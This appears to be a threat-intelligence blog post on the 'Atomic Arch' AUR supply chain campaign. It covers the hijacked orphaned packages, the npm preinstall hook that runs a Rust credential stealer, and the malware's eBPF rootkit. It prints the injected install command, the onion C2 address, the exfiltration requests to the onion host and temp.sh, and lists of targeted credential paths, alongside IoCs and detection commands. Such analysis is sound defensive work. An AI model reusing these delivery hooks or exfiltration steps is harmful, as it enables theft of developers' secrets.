On June 11, someone going by the username arojas spent what was probably a quiet afternoon methodically adopting orphaned Arch User Repository packages and injecting them with malware. By the time the community caught on, 408 packages were already compromised. By the time this piece was being written, that number had crossed 900 and is still climbing.

Sonatype researchers have named the campaign Atomic Arch. It’s one of the largest AUR supply chain incidents on record, and the technical sophistication of the payload puts it well beyond your average package repository drive-by.

Arch User Repository
Arch User Repository

How It Started: AUR’s Orphan Adoption Policy

To understand how this happened, you need to know one specific thing about how the AUR works: anyone can adopt an orphaned package. When a maintainer abandons a project, the package gets marked unmaintained and becomes fair game. Any AUR account can submit a change to the PKGBUILD and associated install scripts. There’s no review gating, no vouching system, no delay period.

Sonatype researchers specifically characterized the Atomic Arch campaign as a deliberate strategy of targeting orphaned, trusted packages with existing install bases and maximizing victim reach while minimizing scrutiny.

The attacker automated the hunt. That’s not speculation – automating orphaned package discovery is already a known practice in the AUR community, used legitimately by maintainers who want to rescue useful packages. Whoever ran this operation turned that same automation malicious. Additional attacker accounts custodiatovar and veramagalhaes were later identified as having taken over further orphaned packages, which means this wasn’t just one person, it was a coordinated multi-account operation.

The Infection Chain: How a PKGBUILD Becomes a Backdoor

The malicious PKGBUILDs were altered to silently fetch and install two rogue npm packages: atomic-lockfile and js-digest.

Here’s how the infection chain actually works, step by step:

  1. A user runs their AUR helper (yay, paru, or raw makepkg) to install or update a package.
  2. The PKGBUILD now lists npm as a dependency, which gets pulled in first.
  3. A .install post-install hook fires, executing: npm install atomic-lockfile axios got
  4. npm fetches atomic-lockfile version 1.4.2 from the npm registry.
  5. atomic-lockfile‘s package.json contains a preinstall lifecycle hook: "preinstall": "./src/hooks/deps"
  6. npm automatically runs that hook before installing the package which directly executes the malicious ELF binary.

The malicious npm package used a preinstall lifecycle hook to execute the ELF automatically during npm installation. This means a developer workstation, maintainer machine, or CI/build host could execute the malware as a side effect of building or installing the compromised AUR package. ioctl.fail

The .install hook runs after makepkg elevates privileges for installation. The npm install step happens in a context where it can run with root if the user ran sudo. That’s not accidental. The eBPF rootkit requires CAP_BPF, a capability typically only available to root and the install chain was specifically constructed to execute at a moment when root access is likely.

A second wave used bun instead of npm to install js-digest, same npm publisher (herbsobering), same general approach, different toolchain to evade any detection signatures keyed on npm install atomic-lockfile. Both payloads ultimately deliver the same ELF binary.

The Payload: Meet deps

The binary is stripped and implemented with Rust-style async state machines. It’s not some off-the-shelf malware kit. This was written in Rust, compiled to a stripped 64-bit ELF, around 3 MB in size, and engineered specifically for developer workstations and build environments.

Sample metadata:

(The second wave payload embedded in js-digest has SHA-256 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316.)

What it steals

The payload targets SSH keys, GitHub tokens, npm credentials, Docker and Podman auth, HashiCorp Vault tokens, browser session data, Slack, Discord, Microsoft Teams, Telegram, VPN config files, and shell histories. It also enumerates Chromium-family browser profiles – reading SQLite cookie databases and LevelDB local storage and queries Slack, Teams, Discord, GitHub, and OpenAI/ChatGPT APIs directly with any stolen tokens or cookies.

This is a credential vacuum aimed squarely at developers. Your AWS keys in .env, your GitHub PAT in ~/.gitconfig, your SSH private key for that production server – all of it in scope.

Persistence: How It Digs In

The exported main wrapper initializes runtime behavior, redirects standard descriptors, ignores SIGPIPE, and enters the Rust async application. The primary orchestrator is an async state machine that starts persistence, collectors, rootkit setup, local transport, exfiltration, and staging tasks.

Persistence depends on privilege level at execution time:

Both use Restart=always with a 30-second restart delay. The service and executable names are not hardcoded plaintext – they’re generated at runtime, which makes simple grep-based detection unreliable. The malware enforces a single active instance using flock(), and reads /proc/self/exe to locate and copy its own executable during the install phase.

The eBPF Rootkit: Why This Is Serious

eBPF (extended Berkeley Packet Filter) is a Linux technology that allows programs to run inside the kernel with elevated privileges. Static analysis identified function references to an eBPF program scales.bpf.c and libbpf APIs.

When deps runs with CAP_BPF (i.e., as root), it loads a kernel-level eBPF program that hides its own processes, process names, and socket inodes from userspace. Tools like ps, top, htop, netstat, and ss all read from /proc and the eBPF program intercepts those reads and filters out the malware’s entries. You can’t see it. The process is running, the network socket is open, but nothing standard will show it to you.

Live response tools may miss the process or its sockets on compromised hosts where the eBPF component is active.

To check for the rootkit, run: ls -la /sys/fs/bpf/hidden_*. If that path exists, you have a problem. That said, on a system where the rootkit is already active, you probably shouldn’t trust the output of any tools running on it. Boot from a clean Arch ISO, mount the filesystem externally, and investigate from there.

Command and Control: Tor Onion Service

The C2 address isn’t stored in plaintext. Static analysis recovered the onion host from a repeating-XOR decode path: a 32-byte XOR key at offset 0x1AA60, a 62-byte obfuscated ciphertext at 0x2DA96, decoded at runtime to olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion.

Collector results are serialized into shared output objects and sent as POST /api/agent to the onion C2 through a local loopback/SOCKS transport. File content is separately uploaded to temp.sh via POST /upload. The local loopback traffic is just an intermediate relay layer – the actual destination is that Tor hidden service, making the C2 highly resistant to takedown.

There’s also a cryptominer staging path – the binary references /usr/bin/monero-wallet-gui, which suggests the attacker may have planned a second-stage Monero mining deployment on machines where it made sense.

Threat Actor Infrastructure

Sonatype flagged this campaign as Sonatype-2026-003775 with a CVSS score of 8.7. The npm package atomic-lockfile was published by the account herbsobering – the same account that published js-digest. That account also has a GitHub container image (herbsobering430) that analysis suggests functions as a reverse shell or proxy tool. The operation used at least three AUR accounts (arojas, custodiatovar, veramagalhaes) and at least two npm packages, with infrastructure routed through Tor. This wasn’t improvised.

Sonatype noted the use of a preinstall script to execute an embedded binary is similar to the atomic-notes package in the IronWorm campaign, though it has not confirmed the two are related.

Working of Atomic Arch Attack
Working of Atomic Arch Attack

Comprehensive Analysis

Summary of Findings

deps is a Linux ELF64 credential stealer delivered through a compromised Arch User Repository (AUR) package build flow. The attacker injected a malicious npm package – masquerading as the legitimate atomic-lockfile package at version 1.4.2 into AUR build steps. The npm package carried the ELF payload at src/hooks/deps and executed it automatically through a preinstall lifecycle hook the moment npm install ran.

The malware is Rust-compiled, stripped, and uses async state machine architecture. It performs three primary functions:

Multiple AUR packages were affected on the same day, pointing to a single threat actor running a broad supply chain campaign rather than a targeted intrusion.

Sample Metadata

FieldValue
File namedeps
File size3,040,376 bytes (~2.9 MB)
File typeLinux ELF64, x86-64, PIE, dynamically linked
ELF typeET_DYN
Entry point0xeae00
SHA-2566144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
MD542B59FDBE1B72895B2951412222EBF40
Compiler/RuntimeRust (async state machines, stripped)
Symbol tableStripped – all function names are analyst-assigned

The SHA-256 hash is identical between the standalone deps sample and atomic-lockfile/package/src/hooks/deps, confirming they are the same binary.

Supply Chain Delivery Mechanism

Delivery Chain

AUR build process
└─► fetches/builds compromised AUR package
└─► AUR PKGBUILD downloads malicious npm package
└─► npm reads package.json
└─► npm lifecycle: "preinstall"
└─► executes ./src/hooks/deps
└─► Linux ELF malware starts execution

Malicious Package Identity

FieldValue
Package nameatomic-lockfile
Malicious version1.4.2
Main entry./dist/cjs/index.cjs
ESM entry./dist/esm/index.js
CLI binatomic-lockfile./dist/esm/cli/index.js
Malicious lifecycle"preinstall": "./src/hooks/deps"
Payload pathsrc/hooks/deps
Payload SHA-2566144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B

The outer package is a largely functional TypeScript npm package (legitimate atomic-lockfile project) with the ELF binary inserted into its source tree. This means static inspection of package.json alone looks mostly reasonable – the malicious entry is only in the scripts.preinstall field.

Critical point: The JavaScript wrapper contains no C2 configuration, no additional encoding, and no arguments passed to the ELF. All C2 logic lives entirely inside the binary.

Why This Works

npm executes lifecycle scripts (preinstall, postinstall, etc.) automatically during npm install unless explicitly suppressed with --ignore-scripts. In CI environments and developer machines where this flag is not set, the ELF runs with no user interaction required.

Execution Flow & Persistence

Startup Sequence

  1. main wrapper initializes the Rust async runtime
  2. Redirects stdin, stdout, stderr/dev/null
  3. Ignores SIGPIPE
  4. Reads /proc/self/exe to get its own executable path for self-copying
  5. Calls install/persistence routine at 0x142843
  6. Main orchestrator at 0x125238 starts async task frames for:
    • Persistence
    • Credential collectors
    • eBPF rootkit setup
    • Local SOCKS transport
    • C2 communication
    • File upload/exfiltration
    • Secondary staging

Single-Instance Enforcement

Uses flock() to ensure only one instance of the malware runs at a time. This is standard anti-double-execution behavior to avoid detection signatures from multiple spawns and to prevent collector conflicts.

Persistence – Root vs. Non-Root

ModeInstall PathService Path
Root (uid=0)/var/lib/<generated_name>/etc/systemd/system/<generated_name>.service
Non-root~/.config/<generated_path>~/.config/systemd/user/<generated_name>.service

The generated name is not a simple readable string instead it is computed at runtime and not stored as obvious plaintext in the binary.

Both service configurations use:

ini

Restart=always
RestartSec=30

This means the malware respawns 30 seconds after any crash or kill. Simply killing the process without removing the service unit and installed binary is insufficient remediation.

Command & Control Architecture

C2 Endpoint

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

This address is not stored in plaintext. It is recovered through a runtime XOR decode:

ComponentAddressDetail
XOR key0x1AA6032-byte repeating key
Ciphertext0x2DA9662-byte obfuscated onion host
Decode loop0x1209f2ciphertext[i] ^ key[i % 32]
Output buffer0x120a15Decoded host stored here

C2 Call Chain

async vtable @ 0x2db0b0
└─► poll_onion_c2_transport_setup_task() @ 0x10c778
└─► prepare_onion_c2_transport_and_hide_sockets() @ 0x10c7ea / 0x11e102
└─► vtable/function pointer @ 0x2db1f0
└─► poll_api_agent_c2_via_onion_loopback_transport() @ 0x10d3d9

C2 HTTP Request

POST /api/agent HTTP/1.0
Host: olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Content-Length: <runtime length>
<serialized body>

The binary expects an HTTP 200 response, parses the header/body separator, and processes the response body for command tasking, result acknowledgements, and relay of temp.sh upload IDs.

Transport Layer – SOCKS Proxy Architecture

The malware does not connect directly to the onion service. Instead:

Malware process
└─► connects to 127.0.0.1:<runtime-selected-port>
└─► local loopback service @ 0x110179
└─► SOCKS5 CONNECT to decoded onion host
└─► TCP/80 or TCP/8080

SOCKS-related strings present in binary:

socks greeting write
socks greeting read
socks CONNECT write
socks CONNECT resp
socks CONNECT failed: rep=
socks5 auth rejected

The loopback listener handles inbound connections from the main process and performs outbound SOCKS5 transport to the onion host. When the eBPF rootkit is active, this local socket and its inode are hidden from ss, netstat, /proc/net/tcp, and socket diagnostic netlink queries.

Data Exfiltration Channels

ChannelEndpointPurpose
File uploadtemp.shPOST /upload HTTP/1.1Raw file/blob upload
C2 command channel.onionPOST /api/agentCommand tasking, upload ID relay, result acknowledgement
API enrichmentapi.openai.com, discord.com, api.github.com, etc.Credential validation – not attacker C2

The temp.sh upload path constructs HTTP multipart requests:

POST /upload HTTP/1.1
Host: temp.sh
Connection: close

The malware checks for successful HTTP responses and stores the server-returned upload ID back into its state, likely forwarding it to the operator via the /api/agent channel.

Credential & Data Collection – Full Scope

Browsers – Chromium-Family Profile Stores

Every major Chromium-derived browser is targeted. Confirmed targets:

BrowserNotes
Google ChromeStandard + Flatpak
Chrome Beta / Dev
Microsoft EdgeStandard + Beta + Dev + Flatpak
BraveStandard + Beta + Nightly + Flatpak
VivaldiStandard + Flatpak
OperaStandard + Beta + Developer + Flatpak
Yandex BrowserStandard + Flatpak
Epic Privacy Browser
Iridium
Ungoogled Chromium
Thorium
Comodo Dragon
SRWare Iron
Cent Browser
Slimjet
Maxthon
UC Browser
CocCoc
Naver Whale
Chromium (Flatpak)

Targeted profile artifacts per browser:

Local Storage/leveldb/
Network/Cookies
Cookies
Default/Cookies

Chromium encrypted cookie values are also targeted. The malware has decryption capability for the encrypted cookie format used in modern Chromium builds.

Electron & Collaboration Applications

Slack

Targeted paths:

~/.config/Slack/
~/.var/app/com.slack.Slack/config/Slack/ (Flatpak)
~/snap/slack/current/.config/Slack/ (Snap)

Stolen data:

API enrichment calls (using stolen tokens):

POST /api/auth.test
GET /api/users.info
GET /api/conversations.list

Microsoft Teams

Targeted paths:

~/.config/Microsoft/Microsoft Teams/
~/.config/Microsoft/Microsoft Teams (legacy)/
(browser-derived and Flatpak stores also targeted)

Stolen data and API endpoints:

authsvc.teams.microsoft.com
teams.microsoft.com
skypeToken
regionGtm
cache.token
Authorization: Bearer <token>
X-Skypetoken: <token>

Account metadata extracted: tenant ID, team membership, account details.

Discord (All Variants)

Targeted clients:

Discord (stable)
Discord PTB
Discord Canary
Discord (Flatpak) - multiple variants
Discord (Snap) - multiple variants
Vesktop
Legcord
WebCord
ArmCord
Vencord
NativeCord
Abaddon
Dissent
Ripcord
Datcord

API enrichment calls (using stolen tokens):

GET /api/v9/users/@me
GET /api/v9/users/@me/guilds?with_counts=true

Metadata extracted: user ID, phone number, MFA state, Nitro/premium type, account flags, guild ownership, member counts, guild permissions.

Developer Accounts & Package Ecosystems

GitHub

Strings and endpoints:

api.github.com
GET /user HTTP/1.1
GET /user/repos?sort=stars&direction=desc&per_page=3&type=owner
Authorization: Bearer <token>
User-Agent: git/2.39.0

Extracted: login, company, public repository count, follower count, top repository stars.

npm

Strings and endpoints:

registry.npmjs.org
GET /-/whoami
GET /-/v1/search?text=maintainer%3A...&size=3

Extracted: publishing identity, package maintainer metadata. This is particularly dangerous on maintainer machines – stolen npm tokens allow publishing malicious package updates.

OpenAI / ChatGPT

Queries api.openai.com with stolen bearer tokens for account metadata. This is credential validation/enrichment only. OpenAI is not attacker infrastructure.

0xf9f06 query_openai_account_metadata_via_local_socks

Local Developer Secrets

SSH material:

~/.ssh/ (entire directory)
known_hosts
known_hosts.old
-----BEGIN ... PRIVATE KEY ...
PuTTY-User-Key-File- (PuTTY PPK format)

Shell histories:

~/.bash_history
~/.zsh_history
~/.local/share/fish/fish_history

History is filtered for commands containing:

sftp, ssh-keygen, ssh-copy-id, ssh-add, rsync, putty, plink,
docker, docker-compose, podman

Vault tokens:

~/.vault-token
~/.vault/token
X-Vault-Token header value

Docker / Podman:

Docker command history
Docker registry credential material (~/.docker/config.json paths)
Podman command history
Podman registry credential material

VPN:

*.ovpn files
passphrase strings associated with VPN configs

Filesystem filtering (excluded from harvesting):

node_modules/
target/
__pycache__/
.ds_store
thumbs.db
desktop.ini
*.lock

eBPF Rootkit Analysis

Privilege Gate

The eBPF component is loaded from memory (not disk) and only activates when the process has sufficient privilege:

geteuid() == 0
+ /proc/self/status → CapEff: parser
+ CAP_BPF check
+ CAP_SYS_ADMIN check

This is not a privilege escalation tool. It only activates when the malware already has root or the required capabilities.

Pinned BPF Maps

/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes

These maps persist in the BPF filesystem after the program is loaded. Simply killing the malware process does not remove them.

Rootkit Capabilities

CapabilityEffect
PID hidingSelected PIDs hidden from /proc listings
Name hidingSelected process names hidden from directory listing
Socket inode hidingHides sockets from /proc/net/tcp
Netlink hidingHides sockets from socket diagnostic netlink (ss, netstat)
Anti-ptraceKills any process attempting ptrace against a hidden process
Self-concealmentInserts own PID and parent metadata into hidden maps
Transport hidingHides local listener/socket inodes used by SOCKS loopback

Forensic implication: On privileged compromises, standard live-response tools (ps, ss, lsof, /proc/net/tcp) will not show the malware process or its network connections. Trusted offline acquisition or kernel-level views bypassing the eBPF hooks are required for accurate forensics.

Staging & Secondary Payload

The binary contains a download/staging path that fetches a secondary payload:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/linux
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/sha256/linux

The /bin/sha256/linux endpoint returns the expected hash of the staged binary for integrity verification before execution.

The staging path references /usr/bin/monero-wallet-gui, suggesting the secondary payload is a Monero cryptominer disguised as or installed alongside the legitimate Monero wallet GUI binary.

Relevant function:

0x1020ae / 0x1600e0 binary staging/transport routine

This path has not been fully analyzed in the source report. The cryptominer hypothesis is based on the Monero wallet GUI reference and the file path structure.

Key Functions Table

AddressAnalyst NamePurpose
0x125238main_orchestratorCentral async state machine; starts all subsystems
0x142843install_persistence_routineReads /proc/self/exe, writes systemd unit, uses flock()
0x10c778poll_onion_c2_transport_setup_taskAsync wrapper for C2 transport setup
0x10c7ea / 0x11e102prepare_onion_c2_transport_and_hide_socketsDecodes onion host, sets up SOCKS transport, hides sockets via eBPF
0x10d3d9poll_api_agent_c2_via_onion_loopback_transportSends POST /api/agent via SOCKS loopback
0x110179local_network_control_routineCreates/binds/listens on local SOCKS socket
0xf9f06query_openai_account_metadata_via_local_socksValidates stolen OpenAI bearer tokens
0x1020ae / 0x1600e0binary_staging_transport_routineFetches secondary payload; references /usr/bin/monero-wallet-gui
0x1AA60(XOR key offset)32-byte repeating XOR key for onion host decode
0x2DA96(ciphertext offset)62-byte obfuscated onion host
0x1209f2(decode loop)ciphertext[i] ^ key[i % 32]
0x120a15(decoded buffer)Decoded onion host stored here

Complete Indicators of Compromise (IoCs)

File Hashes

SHA-256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
MD5: 42B59FDBE1B72895B2951412222EBF40

Applies to both deps and atomic-lockfile/package/src/hooks/deps.

Malicious npm Package

Package: atomic-lockfile
Version: 1.4.2
Lifecycle script: "preinstall": "./src/hooks/deps"
Payload path: src/hooks/deps
Payload size: 3,040,376 bytes
Payload SHA-256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B

Network Indicators

IndicatorClassification
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onionAttacker C2
POST /api/agent HTTP/1.0Attacker C2 callback
temp.shFile upload relay (not actor-owned)
POST /upload HTTP/1.1 to temp.shExfiltration upload
127.0.0.1:<dynamic port>Local SOCKS loopback (internal transport)
api.openai.comCredential enrichment only
discord.comCredential enrichment only
teams.microsoft.comCredential enrichment only
authsvc.teams.microsoft.comCredential enrichment only
api.github.comCredential enrichment only
registry.npmjs.orgCredential enrichment only
*.slack.comCredential enrichment only

Note: Calls to OpenAI, Discord, GitHub, Teams, npm, and Slack are made using stolen credentials for validation/enrichment. These are legitimate service endpoints, not attacker infrastructure.

Filesystem Paths – Persistence

/proc/self/exe (self-read at startup)
/var/lib/<generated_name> (root install - binary copy)
/etc/systemd/system/<generated_name>.service (root persistence)
~/.config/<generated_path> (user install - binary copy)
~/.config/systemd/user/<generated_name>.service (user persistence)

Filesystem Paths – eBPF Rootkit

/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes

Filesystem Paths – Credential Targets

# SSH
~/.ssh/
~/.ssh/known_hosts
~/.ssh/known_hosts.old
~/.ssh/id_rsa (and any PRIVATE KEY file)
# Shell History
~/.bash_history
~/.zsh_history
~/.local/share/fish/fish_history
# Vault
~/.vault-token
~/.vault/token
# Docker / Podman
~/.docker/config.json (implied)
# VPN
*.ovpn (filesystem search)
# General
/home/ (recursive search with noise filtering)
HOME (env var)

Systemd Service Characteristics

ini

Restart=always
RestartSec=30

Any unknown systemd service (system or user scope) with these exact restart parameters and an executable under /var/lib/ or user configuration directories should be considered suspicious.

Suspicious Strings / Behavioral Indicators

/usr/bin/monero-wallet-gui (secondary payload staging target)
/bin/sha256/ (staging integrity check path)
/tor-expert-bundle- (Tor bundle reference)
.tar.gz (archive handling)
/etc/machine-id (host fingerprinting)
cmd: (C2 command parsing)
CapEff: (capability check in /proc/self/status)
server returned empty binary (staging error string)
headers too large (HTTP parsing error string)
socks greeting write
socks greeting read
socks CONNECT write
socks CONNECT resp
socks CONNECT failed: rep=
socks5 auth rejected

Detection & Response Guidance

Immediate Triage Steps

  1. Assume credential compromise on any host where this ELF executed, regardless of privilege level.
  2. Do not rely on standard live-response tools if root execution is suspected. The eBPF rootkit actively hides PIDs, process names, and socket inodes from ps, ss, netstat, /proc, and socket diagnostic netlink.

Persistence Hunting

bash

# Check system-wide systemd units with suspicious restart config
grep -r "Restart=always" /etc/systemd/system/
grep -r "RestartSec=30" /etc/systemd/system/
# Check user systemd units
find /home -path "*/.config/systemd/user/*.service" -exec grep -l "Restart=always" {} \;
# Look for unexpected binaries under /var/lib/
find /var/lib/ -type f -executable -newer /var/lib/dpkg/info 2>/dev/null
# Check /proc/self/exe links for running services
ls -la /proc/*/exe 2>/dev/null | grep -v "Permission denied"

eBPF Rootkit Hunting

bash

# Check for pinned BPF maps
ls -la /sys/fs/bpf/
# Specific map names to look for
ls /sys/fs/bpf/hidden_pids
ls /sys/fs/bpf/hidden_names
ls /sys/fs/bpf/hidden_inodes
# List all loaded BPF programs
bpftool prog list
# List all loaded BPF maps
bpftool map list

Network Hunting

bash

# Look for loopback listeners that don't belong to known services
ss -tlnp | grep 127.0.0.1
netstat -tlnp | grep 127.0.0.1
# Check for SOCKS-related outbound connections
# (may be hidden on rootkitted hosts - use offline forensics if suspected)
# Review proxy/firewall logs for temp.sh upload activity
# Review Tor exit node traffic or .onion DNS queries in SOCKS-aware proxies

Supply Chain Hunting

bash

# Search npm cache for the malicious package
find ~/.npm -name "atomic-lockfile" -type d
find /root/.npm -name "atomic-lockfile" -type d
ls ~/.npm/_cacache/
# Check if the payload hash exists anywhere on disk
find / -type f -size 2961752c -exec sha256sum {} \; 2>/dev/null \
| grep 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
# Search for unexpected ELF files in npm source trees
find ~/.npm /tmp /var/tmp -name "deps" -type f 2>/dev/null
# Check AUR build logs
cat ~/.cache/paru/clone/*/build.log 2>/dev/null | grep -i "atomic-lockfile\|preinstall"
cat ~/.cache/yay/*/build.log 2>/dev/null | grep -i "atomic-lockfile"

CI/CD Environment Hunting

Credit: Sonatype for Initial Investigation

What You Need to Do Right Now

If you’re not on Arch Linux, you’re not affected. If you are:

Run this command to surface recently updated AUR packages:

bash

pacman -Qqm | while read pkg; do pacman -Qi "$pkg" | grep -E "^(Name|Install Date)" | paste - -; done | sort -k4

Any AUR package installed or updated on or after June 11, 2026 warrants a full PKGBUILD diff review. If the PKGBUILD includes npm, pip, or cargo commands that have no clear relationship to the software’s function, treat that package as suspect.

Use the community detection script at this GitHub Gist to cross-reference your installs against the known-compromised package list.

If you find a match:

  1. Don’t just uninstall. The malware has already run.
  2. Rotate everything – SSH keys, GitHub PATs, npm tokens, Docker credentials, cloud API keys, anything in your shell history or .env files.
  3. Check for the eBPF rootkit via /sys/fs/bpf/hidden_* from a trusted environment.
  4. Boot from an Arch ISO, mount the filesystem, and remove any malicious systemd units you find.
  5. Seriously consider a full reinstall. Once an eBPF rootkit is involved, you can’t fully trust the system regardless of what cleanup you do.

The Bigger Picture

Atomic Arch highlights a growing supply chain risk: attackers no longer need to create trust, sometimes they can inherit it. The AUR’s orphan adoption policy is a convenience feature, not a security model. There’s no review before a maintainer change goes live, no audit trail surfaced to users, no warning from yay or paru that the package changed hands last week.

The community is already calling for changes: warnings when packages have changed owners recently, tighter account controls, better visibility into maintainer history inside AUR helpers. Alternatively, some recommend avoiding AUR helpers altogether and inspecting/building packages yourself directly from PKGBUILDs. That’s sound advice, though realistic for maybe 5% of AUR users.

The AUR mailing list thread is the live operational source right now: lists.archlinux.org.

This post first appeared at - The CyberSec Guru